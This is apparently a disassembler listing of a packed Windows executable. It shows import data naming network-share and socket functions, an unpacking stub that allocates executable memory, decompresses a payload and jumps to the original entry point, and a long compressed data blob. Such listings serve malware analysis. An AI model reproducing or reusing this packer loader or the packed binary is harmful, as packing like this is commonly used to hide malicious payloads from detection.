dd 7C800000h, 7 dup(0) dd 980000h, 0 dd offset sub_401000 align 8 dd 1, 0 dd 108h, 6 dup(0) dd 2, 168h, 2 dup(0) dd 1, 0 dd offset sub_401000 dd 0 dd 37F3Bh, 3 dup(0) dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h dd 7C81CDDAh, 0 dd 71B2517Fh, 0 dd 71AB46C9h, 0 dd 77126AEAh, 0 dd 7C812A09h, 4 dup(0) dd 100150h, 10009Ch, 3 dup(0) dd 10015Dh, 1000B8h, 3 dup(0) dd 100165h, 1000C0h, 3 dup(0) dd 100170h, 1000C8h, 3 dup(0) dd 10017Dh, 1000D0h, 5 dup(0) dd 4E52454Bh, 32334C45h, 4C4C442Eh, 52504D00h, 4C4C442Eh dd 32535700h, 2E32335Fh, 4C4C44h, 41454C4Fh, 32335455h dd 4C4C442Eh, 52454B00h, 334C454Eh, 4C442E32h, 4Ch, 64616F4Ch dd 7262694Ch, 41797261h, 47000000h, 72507465h, 6441636Fh dd 73657264h, 73h, 74726956h, 506C6175h, 65746F72h, 7463h dd 72695600h, 6C617574h, 6F6C6C41h, 63h, 74726956h, 466C6175h dd 656572h, 78450000h, 72507469h, 7365636Fh, 73h aWnetaddconne_1 db 'WNetAddConnection2A',0 db 0 align 2 aVariantchang_0 db 'VariantChangeTypeEx',0 align 4 aRaiseexception db 'RaiseException',0 align 4 dd 100000h, 0F4A2F900h db 0FFh ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 005005ED SIZE 00000009 BYTES pushf pusha call $+5 pop ebp sub ebp, 7 lea ecx, [ebp-1B1h] cmp byte ptr [ecx], 1 jz loc_500489 mov byte ptr [ecx], 1 mov eax, ebp sub eax, [ebp-21Dh] mov [ebp-21Dh], eax add [ebp-1EDh], eax lea esi, [ebp-1A9h] add [esi], eax push ebp push esi push 40h push 1000h push 1000h push 0 call dword ptr [ebp-185h] test eax, eax jz loc_5005ED mov [ebp-1F5h], eax call $+5 pop ebx mov ecx, 367h add ebx, ecx push eax push ebx call sub_50054E pop esi pop ebp mov esi, [esi] mov edi, ebp add edi, [ebp-22Dh] mov ebx, edi cmp dword ptr [edi], 0 jnz short loc_5002BB add edi, 4 mov ecx, 0 jmp short loc_5002D1 ; --------------------------------------------------------------------------- loc_5002BB: ; CODE XREF: start+82j mov ecx, 1 add edi, [ebx] add ebx, 4 loc_5002C5: ; CODE XREF: start+CFj cmp dword ptr [ebx], 0 jz short loc_5002FE add [ebx], edx mov esi, [ebx] add edi, [ebx+4] loc_5002D1: ; CODE XREF: start+8Cj push edi push ecx push ebx push dword ptr [ebp-181h] push dword ptr [ebp-185h] mov edx, esi mov ecx, edi mov eax, [ebp-1F5h] add eax, 5AAh call eax pop ebx pop ecx pop edi cmp ecx, 0 jz short loc_5002FE add ebx, 8 jmp short loc_5002C5 ; --------------------------------------------------------------------------- loc_5002FE: ; CODE XREF: start+9Bj start+CAj push 8000h push 0 push dword ptr [ebp-1F5h] call dword ptr [ebp-181h] lea esi, [ebp-1EDh] mov ecx, [esi+8] lea edx, [esi+10h] mov esi, [esi] mov edi, esi cmp ecx, 0 jz short loc_500365 loc_500326: ; CODE XREF: start+100j start+10Ej mov al, [edi] inc edi sub al, 0E8h loc_50032B: ; CODE XREF: start+136j cmp al, 1 ja short loc_500326 mov eax, [edi] cmp byte ptr [edx+1], 0 jz short loc_50034B mov bl, [edx] cmp [edi], bl jnz short loc_500326 mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah jmp short loc_500355 ; --------------------------------------------------------------------------- loc_50034B: ; CODE XREF: start+108j mov bl, [edi+4] xchg al, ah rol eax, 10h xchg al, ah loc_500355: ; CODE XREF: start+11Cj sub eax, edi add eax, esi mov [edi], eax add edi, 5 sub bl, 0E8h mov eax, ebx loop loc_50032B loc_500365: ; CODE XREF: start+F7j call sub_5004A4 lea ecx, [ebp-1D9h] mov eax, [ecx+8] cmp eax, 0 jz loc_5003FD mov esi, edx sub esi, [ecx+10h] jz short loc_5003FD mov [ecx+10h], esi lea esi, [ebp-1A9h] mov esi, [esi] lea ebx, [esi-4] mov eax, [ecx] cmp eax, 1 jz short loc_5003A2 mov edi, edx add edi, [ecx+8] mov ecx, [ecx+10h] jmp short loc_5003AA ; --------------------------------------------------------------------------- loc_5003A2: ; CODE XREF: start+169j mov edi, esi add edi, [ecx+8] mov ecx, [ecx+10h] loc_5003AA: ; CODE XREF: start+173j start+18Ej xor eax, eax mov al, [edi] inc edi or eax, eax jz short loc_5003D3 cmp al, 0EFh ja short loc_5003BD loc_5003B7: ; CODE XREF: start+19Dj start+1A4j add ebx, eax add [ebx], ecx jmp short loc_5003AA ; --------------------------------------------------------------------------- loc_5003BD: ; CODE XREF: start+188j and al, 0Fh shl eax, 10h mov ax, [edi] add edi, 2 or eax, eax jnz short loc_5003B7 mov eax, [edi] add edi, 4 jmp short loc_5003B7 ; --------------------------------------------------------------------------- loc_5003D3: ; CODE XREF: start+184j xor ebx, ebx xchg edi, esi mov eax, [esi] cmp eax, 0 jz short loc_5003FD loc_5003DE: ; CODE XREF: start+1BCj lodsd or eax, eax jz short loc_5003EB add ebx, eax add [edi+ebx], cx jmp short loc_5003DE ; --------------------------------------------------------------------------- loc_5003EB: ; CODE XREF: start+1B4j xor ebx, ebx shr ecx, 10h loc_5003F0: ; CODE XREF: start+1CEj lodsd or eax, eax jz short loc_5003FD add ebx, eax add [edi+ebx], cx jmp short loc_5003F0 ; --------------------------------------------------------------------------- loc_5003FD: ; CODE XREF: start+149j start+154j ... lea esi, [ebp-21Dh] mov edx, [esi] lea esi, [ebp-1C1h] mov al, [esi] cmp al, 1 jnz short loc_500450 add edx, [esi+4] push esi push edx push esi push 4 push 100h push edx call dword ptr [ebp-189h] pop edi pop esi cmp eax, 1 jnz loc_5005ED add esi, 8 mov ecx, 8 rep movsb sub esi, 0Ch sub edi, 8 push esi push dword ptr [esi-4] push 100h push edi call dword ptr [ebp-189h] loc_500450: ; CODE XREF: start+1E2j push ebp pop ebx sub ebx, 8 xor ecx, ecx mov cl, [ebx] cmp cl, 0 jz short loc_500489 inc ebx lea esi, [ebp-21Dh] mov edx, [esi] loc_50046A: ; CODE XREF: start+25Aj push esi push ecx push ebx push edx push esi push dword ptr [ebx] push dword ptr [ebx+4] mov eax, [ebx+8] add eax, edx push eax call dword ptr [ebp-189h] pop edx pop ebx pop ecx pop esi add ebx, 0Ch loop loc_50046A loc_500489: ; CODE XREF: start+14j start+232j mov eax, 0 cmp eax, 0 jz short loc_50049D popa popf mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_50049D: ; CODE XREF: start+264j popa popf jmp sub_401000 start endp ; =============== S U B R O U T I N E ======================================= sub_5004A4 proc near ; CODE XREF: start:loc_500365p mov esi, [ebp-225h] or esi, esi jz loc_500549 mov edx, [ebp-21Dh] add esi, edx loc_5004BA: ; CODE XREF: sub_5004A4+61j cmp dword ptr [esi], 0 jnz short loc_5004CD cmp dword ptr [esi+4], 0 jnz short loc_5004CD cmp dword ptr [esi+8], 0 jnz short loc_5004CD jmp short loc_500547 ; --------------------------------------------------------------------------- loc_5004CD: ; CODE XREF: sub_5004A4+19j ; sub_5004A4+1Fj ... mov ebx, [esi+8] add ebx, edx push ebx push edx push esi lea edi, [ebp-0DDh] add edi, [esi+4] add esi, 0Ch push edi call dword ptr [ebp-191h] pop edi pop edx pop ebx cmp eax, 0 jz short loc_500549 mov [ebp-215h], eax add edi, [esi] add esi, 4 loc_5004FB: ; CODE XREF: sub_5004A4+A1j xor ecx, ecx mov cl, [esi] cmp ecx, 0 jnz short loc_500507 inc esi jmp short loc_5004BA ; --------------------------------------------------------------------------- loc_500507: ; CODE XREF: sub_5004A4+5Ej mov eax, edi add edi, ecx push edx push ebx push eax cmp byte ptr [eax], 0FFh jnz short loc_50051B inc eax mov eax, [eax] and eax, 7FFFFFFFh loc_50051B: ; CODE XREF: sub_5004A4+6Dj mov cl, [edi] mov byte ptr [edi], 0 push ecx push eax push dword ptr [ebp-215h] call dword ptr [ebp-18Dh] pop ecx pop edx pop ebx pop edx cmp eax, 0 jz short loc_500549 mov [edi], cl mov [esi-4], eax push dword ptr [esi-4] pop dword ptr [ebx] add ebx, 4 inc esi jmp short loc_5004FB ; --------------------------------------------------------------------------- loc_500547: ; CODE XREF: sub_5004A4+27j clc retn ; --------------------------------------------------------------------------- loc_500549: ; CODE XREF: sub_5004A4+8j ; sub_5004A4+4Aj ... jmp loc_5005ED sub_5004A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50054E proc near ; CODE XREF: start+6Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 005005E9 SIZE 00000004 BYTES push ebp mov ebp, esp mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld mov dl, 80h loc_50055A: ; CODE XREF: sub_50054E+12j movsb loc_50055B: ; CODE XREF: sub_50054E+34j ; sub_50054E+7Dj call sub_5005CD jnb short loc_50055A xor ecx, ecx call sub_5005CD jnb short loc_500584 xor eax, eax call sub_5005CD jnb short loc_500595 mov al, 10h loc_500576: ; CODE XREF: sub_50054E+2Fj call sub_5005CD adc al, al jnb short loc_500576 jnz short loc_5005C2 stosb jmp short loc_50055B ; --------------------------------------------------------------------------- loc_500584: ; CODE XREF: sub_50054E+1Bj call sub_5005D9 dec ecx loop loc_5005A1 mov eax, ebp call sub_5005D7 jmp short loc_5005C3 ; --------------------------------------------------------------------------- loc_500595: ; CODE XREF: sub_50054E+24j lodsb shr eax, 1 jz short loc_5005E9 adc ecx, 2 mov ebp, eax jmp short loc_5005C3 ; --------------------------------------------------------------------------- loc_5005A1: ; CODE XREF: sub_50054E+3Cj xchg eax, ecx dec eax shl eax, 8 lodsb mov ebp, eax call sub_5005D7 cmp eax, 7D00h jnb short loc_5005C1 cmp eax, 500h jnb short loc_5005C2 cmp eax, 7Fh ja short loc_5005C3 loc_5005C1: ; CODE XREF: sub_50054E+65j inc ecx loc_5005C2: ; CODE XREF: sub_50054E+31j ; sub_50054E+6Cj inc ecx loc_5005C3: ; CODE XREF: sub_50054E+45j ; sub_50054E+51j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_50055B sub_50054E endp ; =============== S U B R O U T I N E ======================================= sub_5005CD proc near ; CODE XREF: sub_50054E:loc_50055Bp ; sub_50054E+16p ... add dl, dl jnz short locret_5005D6 mov dl, [esi] inc esi adc dl, dl locret_5005D6: ; CODE XREF: sub_5005CD+2j retn sub_5005CD endp ; =============== S U B R O U T I N E ======================================= sub_5005D7 proc near ; CODE XREF: sub_50054E+40p ; sub_50054E+5Bp xor ecx, ecx sub_5005D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5005D9 proc near ; CODE XREF: sub_50054E:loc_500584p inc ecx loc_5005DA: ; CODE XREF: sub_5005D9+Dj call sub_5005CD adc ecx, ecx call sub_5005CD jb short loc_5005DA retn sub_5005D9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_50054E loc_5005E9: ; CODE XREF: sub_50054E+4Aj pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_50054E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_5005ED: ; CODE XREF: start+51j start+1FDj ... push 0 call dword ptr [ebp-17Dh] retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- inc dword ptr [eax] mov edx, [ecx] cmp edx, [ecx+4] jnz short loc_500609 mov dword ptr [ecx+eax*2], 2300110h or al, 0FFh retn ; --------------------------------------------------------------------------- loc_500609: ; CODE XREF: .nsp1:005005FDj pop es mov al, [edx] inc edx mov [ecx], edx pusha mov eax, [esp+4] sbb al, 83h popa adc [ebx], dh or [ebx+eax*4], cl push esi push ds and [ebx], al rol byte ptr [ecx+49h], 1 or bh, bh push 5 jmp short loc_500638 ; --------------------------------------------------------------------------- db 58h, 5Eh, 0E8h dd 8B0239C9h, 0F0CE4h, 0E2C1C0B6h ; --------------------------------------------------------------------------- loc_500638: ; CODE XREF: .nsp1:00500627j or [ebx], cl retn 3E4Eh ; --------------------------------------------------------------------------- db 89h, 41h, 0Fh dd 0E5EEA75h, 56530004h, 708718Bh, 0D285DB33h, 0C798057h dd 55762C7Eh, 0EED1EA1Ch, 0FE3BE380h, 0E82B0572h, 1CB1D83h dd 60C57781h, 0E6C11073h, 85E8081Ah, 0E7418489h, 754DF800h dd 89675DD8h, 7A4C5F62h, 0C38B1C5Eh, 0F28CB35Bh, 57614F97h dd 0DC39B70Fh, 0E83CC1C2h, 0C7AF1E0Bh, 3B0C7E00h, 314073F8h dd 0C0BC4689h, 8E01F566h, 1EBFD034h, 0FA2B98F0h, 5FF00C1h dd 8966F803h, 7E7F8139h, 8B195CA8h, 2AE8CE14h, 644E889Fh dd 0BA381DE1h, 72DFF166h, 42EB0EE0h, 0F84FD02Bh, 0D789566Dh dd 0C8FA06Fh, 0E6D00AD2h, 9EEA50C1h, 0A386DFC2h, 1FFEE742h dd 5E5F4002h, 0ECD681C3h, 16BB5351h, 8594DA3Eh, 0F901E8DBh dd 5D891A7Eh, 55B240FCh, 34708D08h, 3E180CE6h, 3FD3FE8h dd 0C4DE6C6h, 5EEB75FCh, 8B0242C2h, 5FE2D3CBh, 95C9045Bh dd 763A191Fh, 9CF8DD89h, 0FFC35730h, 0C97D3942h, 0A8FBD98Bh dd 65207EFCh, 3127856h, 0E81E0C42h, 0CFBD2385h, 0D30614D0h dd 4509E003h, 123B47FCh, 1BE27C48h, 88241415h, 0F26D61C9h dd 0ECDAE899h, 0E46E4940h, 0CF54E8D3h, 0C6380BABh, 14BE493Dh dd 2B9FEA7Ch, 5035A05Bh, 0FCD29C19h, 0C4435294h, 0B808751Bh dd 0D865D0D1h, 70EEEC1h, 0CF01468Dh, 0C30326E0h, 0E8471B76h dd 0DBD07396h, 3B02D80Bh, 811C75F0h, 0D340A1FBh, 57B21AEBh dd 0E8221BB6h, 8B59A276h, 0E61C99D8h, 0C38AB88Ah, 0E566585h dd 0F147FA82h, 85417CE8h, 1675C013h, 570C2A46h, 6A0403ACh dd 304C8D03h, 0DCE85AB0h, 3BEB31C7h, 8B024EC0h, 0A832F8D7h dd 65755724h, 22104B1Bh, 9F0D8C24h, 1B54E91h, 0EB08C083h dd 0F8406A11h, 0A102048Eh, 100CA213h, 2C67D2D2h, 0F9384ABEh dd 544E0813h, 0C4D41F1h, 3324C803h, 0F1B87047h, 3D1A52A4h dd 0EBDCC928h, 0C8F44DCCh, 0E528E806h, 0D6D210E6h, 414B661Ah dd 690F84Dh, 3F020ECh, 5E7D3E4h, 5A050736h, 4F4ADB32h dd 390CCE1Ch, 6055604Dh, 73DC2E10h, 20D6A08h, 0E1A0E958h dd 40769842h, 0F9D1C875h, 2FDCA8B7h, 0ABF3FE20h, 6661C913h dd 1875FF0Ah, 2140320h, 0E8C84D8Dh, 8EA3FCFAh, 0F80207Dh dd 5DD47086h, 2310128Ah, 0D8208619h, 60DE89C1h, 0A3668518h dd 42F4EA13h, 42061AAh, 73C29B46h, 6455624Eh, 1246FD44h dd 0DC827662h, 80474223h, 2A08B1A5h, 8020E74Dh, 0A3A590C3h dd 0A100C59Ch, 48DC203h, 1D059040h, 0E4FF8309h, 0E6C8806h dd 87067D0Fh, 0EB03F465h, 0A243D10h, 0EF9E05BAh, 0A65B903h dd 0F4A50D06h, 740830CEh, 39F62049h, 9AF8B02Bh, 3C048A1Ch dd 18AA8810h, 1D65A09Ah, 6C7783FEh, 0E470881h, 678AE76Ch dd 941C54D8h, 43F2836Ah, 807EAE08h, 0C2333401h, 6242E894h dd 0C33BC1A3h, 0C7AF1B50h, 3A2DB2E1h, 9EE82398h, 8EA62F51h dd 0A445752Fh, 95920F47h, 0C1D18A03h, 86E84605h, 2C75184Eh dd 350FEE39h, 14558B84h, 0FF1FF0B5h, 0C09D0707h, 8DF8912Bh dd 4309C144h, 0D339F4F9h, 3301338Ah, 884A31FFh, 0CE4AE912h dd 22B058A4h, 5751846h, 0EBEC48C3h, 0C82B2B27h, 2EE80A8Ah dd 0EBF0E118h, 0E476BA09h, 0B587E410h, 0B6EC1D38h, 0A8EDB419h dd 0DDA2E613h, 688E8481h, 9B32480Ah, 99C2D5AAh, 7E91EA62h dd 0FDE0DC48h, 110BD9E7h, 44C2ADE9h, 5BF06C89h, 0D1DBE41Ch dd 849D6D0Ch, 882C5912h, 29066488h, 1B0A1132h, 0D99750E8h dd 0B42404F8h, 7D034C7Ch, 94D85824h, 73DF251h, 93810624h dd 144B5360h, 21549E74h, 0E249647Ch, 91D6C7D1h, 0F94AFB23h dd 0CABA30CFh, 2ACC3E98h, 247D5D0Eh, 1DE45115h, 4E5EF02Bh dd 0E880055Eh, 15DD73Ah, 8321EB70h, 0FE1E7C2h, 3E18A4FBh dd 451C0049h, 0F16A50C8h, 0A44F691h, 0CEDBEB5Ah, 0B68590B4h dd 8ED36284h, 0C9064883h, 0A6303424h, 779E3C80h, 1C393F3Ah dd 9CD3C1A4h, 0C7034242h, 4040188Ah, 40094139h, 0A1D2854Ah dd 3B057EC2h, 497220D4h, 0E778F1ECh, 55820FE0h, 0D245B590h dd 6E83CC95h, 75D2851Ch, 0C37841EBh, 1263F0D1h, 8772102Eh dd 44800F8Ah, 0DBB82E1h, 24F4D161h, 7627201h, 4A96E944h dd 2C55E319h, 2E2E2D2Eh, 1472805Fh, 0C18AE432h, 0F62EB37Dh dd 8FAAC1F3h, 0D30C807Ch, 3CFA7548h, 0A612BA09h, 0FC1CF71Ch dd 0F516F781h, 82F11EC9h, 0C6BB0606h, 0CFE35061h, 9210E068h dd 1B9C268Dh, 525341A7h, 0CD9D71FFh, 0C8BD2077h, 8BA17A90h dd 51494D3h, 72206FB4h, 0B8578852h, 651DFC12h, 0F6332420h dd 46018CE4h, 6A81806Eh, 402E69C3h, 0C68B0202h, 1E5FC385h dd 153F8C4h, 80B9h, 5D000000h, 200000h, 37F2Ah, 0FF000h dd 42003400h, 0E0CB5E03h, 8FCFC130h, 7F2A8E3Dh, 79754435h dd 9FE88BACh, 90DC7B89h, 84CF2A7Ah, 11121200h, 96C0B839h dd 0CAE229C9h, 9029321Ah, 4A83C73Fh, 83DD4315h, 7EC6A430h dd 0FF3A0480h, 22855D94h, 1A08D34h, 6CE53DB4h, 98F96FE8h dd 0DABBA52Ah, 4EC685DAh, 35AF54A8h, 139F7F2Eh, 8732EC06h dd 6C4DB8Eh, 0FDEE093Ch, 416AAF82h, 0C2748543h, 78408E21h dd 4F1388DEh, 0B3E96985h, 0F3B6EC85h, 2038FAFEh, 72800288h dd 3CBCEB71h, 0EFD98890h, 5769000Eh, 754DBA53h, 3AE4183Ah dd 0C8890D6Ah, 7FB4A1C5h, 0D0BE927Ah, 9B0055E2h, 0F2891B5Ch dd 0BC2613A2h, 90EC06A1h, 98CF474Ch, 87B520CDh, 50101CBEh dd 5BF52351h, 746EBEFAh, 0B68B53D1h, 774F0614h, 0AAFAB9E8h dd 8BBB7874h, 6F0DEF33h, 0C7ECB987h, 0A9A268A2h, 0F5C4DB3Fh dd 5BE96FBh, 6DD00572h, 3A235534h, 0DBA75F9Dh, 0B2B9AA54h dd 3133E09Ch, 93B10462h, 1B0F5ADDh, 4A7EA907h, 198D6E3Dh dd 4BA76E03h, 0A4036F8Ch, 63B6D4E6h, 0E7F415AEh, 23F11036h dd 766F57E3h, 3487358Fh, 844EBB81h, 0EAB6B009h, 0EBF7EAE0h dd 8B8D1EC8h, 698944F8h, 8DAAFBF0h, 0FA43735Dh, 5EF4E52Eh dd 34E22079h, 49628BB9h, 91C89C23h, 0B662F57Bh, 810D188Fh dd 25D2A3C0h, 0BBA0D96Fh, 0C092CB3Eh, 7005EA79h, 54D79F94h dd 0BE3498C6h, 9D518011h, 2B91EC5h, 0C28DD4F5h, 4959A637h dd 645F043Dh, 0B95333CEh, 0FE46F7E0h, 70F1A0AFh, 13A7403h dd 0D8B5C622h, 0CF70BCEAh, 0C16FDF1Bh, 0F062D3F0h, 9CCA3598h dd 0DEAC23FFh, 0E6426178h, 4B98572Dh, 2C80BFCCh, 0B69CBE0Fh dd 4C2962C9h, 0F641CEF9h, 9B9B78B5h, 8339845Ch, 0A7AA4E46h dd 0C6105C36h, 2219A94Bh, 0EE1E471h, 9B027DF7h, 18EA1242h dd 457E8A4Bh, 7BC062C2h, 0ED99B11Ch, 36FD506h, 0CE961F44h dd 2E445778h, 41AFBC3Ah, 5F4D96A2h, 958D0481h, 4D33BB59h dd 806B2F96h, 0CF864C2Ch, 9FA5AAADh, 1E88E3F6h, 0DE0D612Eh dd 7A3DD26Bh, 0FCA464FAh, 6F004102h, 18DAF0F6h, 0C3410273h dd 4AD94274h, 0E0E06D07h, 3999C7D4h, 2E9A4A00h, 0D385028h dd 3361AF36h, 153DED04h, 6F5C3FF9h, 0DF832B44h, 5AF9A37Dh dd 3913EE0Ah, 0BCC1193Ah, 4CBF3EECh, 0F9352862h, 0CAE7CAA2h dd 0F214E0C0h, 0CA5C0515h, 0A5DAEC54h, 61924245h, 0C3B062FCh dd 2B49860h, 76463B82h, 0C8BC0B0Fh, 9DB58B6Dh, 9564D0BFh dd 0BA58628Eh, 0CFA6C3EEh, 32F04C85h, 644ED210h, 97CD0D56h dd 0FCECB214h, 0FCA85843h, 7768C1A1h, 0E03C3085h, 5C1838F3h dd 82B0893Ah, 17483E75h, 8863F988h, 25AEAE21h, 0FC800101h dd 7F703E77h, 6C7E9A09h, 0FB185634h, 8171CE2h, 9B3914B4h dd 903FC87Bh dd 8241D43Eh, 1FFC6BF6h, 75173B23h, 93FAC89Fh, 0B9D9192Ch dd 56F8644Fh, 0AA3AC6F1h, 656C7BE9h, 37A97249h, 2F5F45B4h dd 0C62636D8h, 686D1744h, 9D3754C6h, 0DB7517D0h, 7EE9DB18h dd 40B7C957h, 0B052FB4Dh, 1232546Eh, 4B827E16h, 0B2FABD20h dd 832212Dh, 3D08FB1Ch, 0D208CD6Dh, 0ADE22837h, 6EE205BDh dd 0F09C1AC2h, 54FF3D6Bh, 68C2B6CFh, 0FAE95F49h, 4B9218AEh dd 0EDDDB461h, 0B924C4F8h, 355B15E3h, 0D3FEDBD1h, 7CA7FEFEh dd 46135BD7h, 0E8E19425h, 0EAA6AFF0h, 24499F60h, 5AD511EBh dd 0B7D2270Bh, 72720D42h, 923D8E8Ah, 0A7226C9Ah, 4C184DD8h dd 298469AEh, 3032DD44h, 0CAFFCCABh, 1D4A5CFFh, 3B6D37DEh dd 18A1539Dh, 192B11A8h, 47503737h, 8209BC87h, 5352230Eh dd 0C968BFF0h, 3CCFA7FDh, 4B607595h, 3BCB5E89h, 0DCA99C53h dd 426961DFh, 5E11E2E3h, 4B43A541h, 47754B35h, 6D3E38A6h dd 7C0E7114h, 1CE0D351h, 335AF361h, 0C34F51F0h, 556AE2B9h dd 0F8817B68h, 5B0C91A3h, 2B9CB670h, 6A4E7FF1h, 259089ADh dd 7303872Eh, 0CA156506h, 3DDB5055h, 0B85DE2F0h, 819E722Eh dd 0C08E8261h, 0FB88EF5Ch, 7DF6C9B8h, 9494C7E4h, 0D3035447h dd 4B097DE4h, 0F4BFEA44h, 51AF1B1Eh, 0C5611D29h, 4CB8C94Eh dd 0ED421082h, 2C0B5A9Bh, 0D0779E0Fh, 0BD5667E3h, 25614646h dd 0B618C49Ah, 0BCB71613h, 33574835h, 895951D1h, 0C053A988h dd 641BB760h, 41695F5Ah, 30CE48h, 17310EDFh, 0C6BA343Fh dd 0F4501955h, 14D19807h, 0B09FB4Fh, 3DC5F782h, 43F15AD9h dd 3CB78807h, 3B327B99h, 233606F9h, 7B30BFFh, 0BCC958B2h dd 0D7A5CDEDh, 0D207BFB4h, 69171D7Ch, 91DA6AA4h, 0E8F22904h dd 8FCA4F6Dh, 8913693Bh, 8CDCA909h, 0A51D787Bh, 3DDDA953h dd 0AF3E68BCh, 4464A771h, 82F2270Bh, 33604A4Eh, 25FF9890h dd 79ACF26Ah, 0E86AF9E8h, 0AE67BE18h, 5371E16Ah, 6C2CC459h dd 0BA25D91Dh, 9B648571h, 6E7C4A3Ah, 5B0BC66Eh, 0F1C94E3Fh dd 0CB85D9ABh, 3097C452h, 20147C3Fh, 6F761495h, 1F605CB9h dd 0C5350FB7h, 390F3478h, 373EB68Eh, 22CB93C0h, 0AE10EE58h dd 5A37061Fh, 0B4D037FEh, 9941B542h, 2D0ADCCEh, 0C795B7BDh dd 0E3934A00h, 0F075FF84h, 0C9F50F2Eh, 5BC8E7B6h, 1217417Eh dd 0AEB5529h, 29A3CCE8h, 0E51D82CDh, 0DCD80DC6h, 65EC44FBh dd 30FADDC5h, 0B7B7E140h, 75BCE483h, 0BF80BF71h, 0DFE241FCh dd 0CAF78010h, 0B3B72168h, 282421CFh, 0AE600937h, 0E5820595h dd 6495C6B0h, 9F02CE7Dh, 5DC01F8Eh, 1DB6E73Fh, 250C775Ch dd 76BCDDA5h, 85B09063h, 3776729Dh, 8C860A28h, 5BD1DAF9h dd 9218DDFAh, 1B02397Ch, 298EBBE4h, 0E233818Ch, 9CD4B196h dd 0FBD05451h, 2F78A600h, 0E1BB16DAh, 0F674224h, 0B437C3D2h dd 0B2008F25h, 0C0B80965h, 0FDEED377h, 7F27073Bh, 838CEDCFh dd 1CDB7242h, 671FA93Ch, 46187DE8h, 9D4F5965h, 0BBC382F0h dd 9C79DC7Ah, 84B5F5CFh, 0D482DDD6h, 0EBD32B14h, 0BE424857h dd 0DA81F894h, 47787D13h, 0A53146DFh, 2C982F0Ch, 0A14B9E74h dd 3231FA9Fh, 24A15D0Dh, 307C4570h, 0EEC7BE69h, 2B096DABh dd 79956A36h, 0C5A5B079h, 45248CD4h, 5EB07917h, 0C45DD29Dh dd 5F1B9A09h, 0AF774F7Ch, 833D52FBh, 0DA2E91E5h, 8040BBFFh dd 92EA6EF4h, 726F4AF1h, 536CB0F5h, 647577FEh, 33D6739Dh dd 92B4B7FAh, 0E57068EEh, 0CF1A22FCh, 0E3C4EDCBh, 140D89E1h dd 0B62AEC4Ch, 0FC1B2E84h, 0A37F397Eh, 0E99E9B0Eh, 3BDBDEF3h dd 36212CF2h, 899F7E87h, 4335BEB8h, 0A05D4B44h, 73D99FC0h dd 6AA06ECBh, 0EBAD5109h, 33786797h, 4EF8531Ch, 0B774B1BDh dd 80BFD377h, 0D82EAA44h, 0FC10D5F8h, 83DCE3D9h, 0EC4BBDF4h dd 0B37E21FEh, 6A0CB86Dh, 44FE586Fh, 813415E2h, 0C5D1C4BFh dd 0DB8729FAh, 0FD1E0CE7h, 0F2A78751h, 53321D5Bh, 0BB514AFBh dd 0A7BDBA80h, 81A72971h, 0A6F5BDA3h, 8E5766D9h, 3D4E1B00h dd 3ADCB487h, 0F1F813A3h, 63F04A5Fh, 0DAA1F1A2h, 409F07C1h dd 0C9B5660Ch, 5AB552CCh, 3C9825C5h, 9E3787Bh, 189AD4Bh dd 0BD414326h, 0C96AA26Fh, 0DFC4F802h, 95E70441h, 80CC7B87h dd 9306929h, 115AB756h, 658CC40Bh, 4DDF7848h, 8D903CC8h dd 0F7592BF3h, 313ED44Fh, 0DE15BAE8h, 3F207287h, 0D995BFA8h dd 164F01C5h, 67CEB7F3h, 0FB97838Fh, 0D8F9201Eh, 0FD8C2B69h dd 164A9AA7h, 6DB58FB9h, 7009AAA4h, 0CF334709h, 9C0FBC81h dd 845AC31Bh, 4019F8A0h, 2C7AC361h, 54E764Fh, 20B1B88Ah dd 56509480h, 0C3F9C7C2h, 0B9D49C82h, 0C76BCDC4h, 8494EF09h dd 0BB4A8FC8h, 57ADBEFDh, 0FF3743D8h, 0EFAD59FCh, 87E3E935h dd 267D251Ch, 0DC39B215h, 0EC2637BCh, 0D25FA4Ah, 0DBEC66B5h dd 0D884FA09h, 0C201F83Fh, 6790325Fh, 0EDD14A35h, 0B2CC0F03h dd 0FE4616B7h, 49BA51CDh, 9755A50Eh, 0C335DE5Ah, 0E06BCC43h dd 7BFACC3Eh, 4CDA12EBh, 0AE09D11Ch, 1E70ED26h, 862D18A5h dd 6123EB8Eh, 0A5D557CAh, 38A9308Dh, 692C8D66h, 9A5CFCBCh dd 748B6793h, 643B10BEh, 22129DB8h, 0ACDA4694h, 7EB80C98h dd 8D6049BCh, 0D09EBB50h, 8249AEFEh, 0DB0E71DEh, 9C19F988h dd 5F2BEEF8h, 0BDEE6CFBh, 0FD3752B3h, 7B946849h, 155F1ACBh dd 0E50778BAh, 3ADEC62Ch, 33DF1917h, 1239F7EEh, 298293AAh dd 3E627EB7h, 0BC453444h, 0B61E7191h, 245E2481h, 39D215C0h dd 0F3ABA97h, 19FE50A9h, 0C130EF28h, 0E577B160h, 1C73AA6Eh dd 7F01975Ah, 1CE141A8h, 3C4620CDh, 6B3F4486h, 0CD15F132h dd 68636C2Bh, 1B2FEB1Dh, 0B885D37Fh, 461FC7D3h, 8972556Dh dd 0A67A62C7h, 22F94118h, 6E245235h, 7E8E5AA5h, 0BC041B27h dd 0D1E7B072h, 0AA39C933h, 81ED3AD9h, 0B303078Fh, 0A0F9D8CCh dd 0AB6EF77Dh, 0BF8A9077h, 54F0F142h, 29612937h, 445CB5EDh dd 85F4295Ch, 0D0F7860Bh, 235CD173h, 58B76D45h, 55C33EA5h dd 0E1A51CDFh, 2579FDBDh, 3A4615A8h, 869AF77Bh, 0D068799Ah dd 665FB8E0h, 2EE18328h, 9C404304h, 6908AE0h, 0C863EB01h dd 42589FE8h, 287DFF76h, 4C17CCF5h, 1FC15569h, 0E601D54Dh dd 0B77067CAh, 0D57F7E1Ch, 7440C67h, 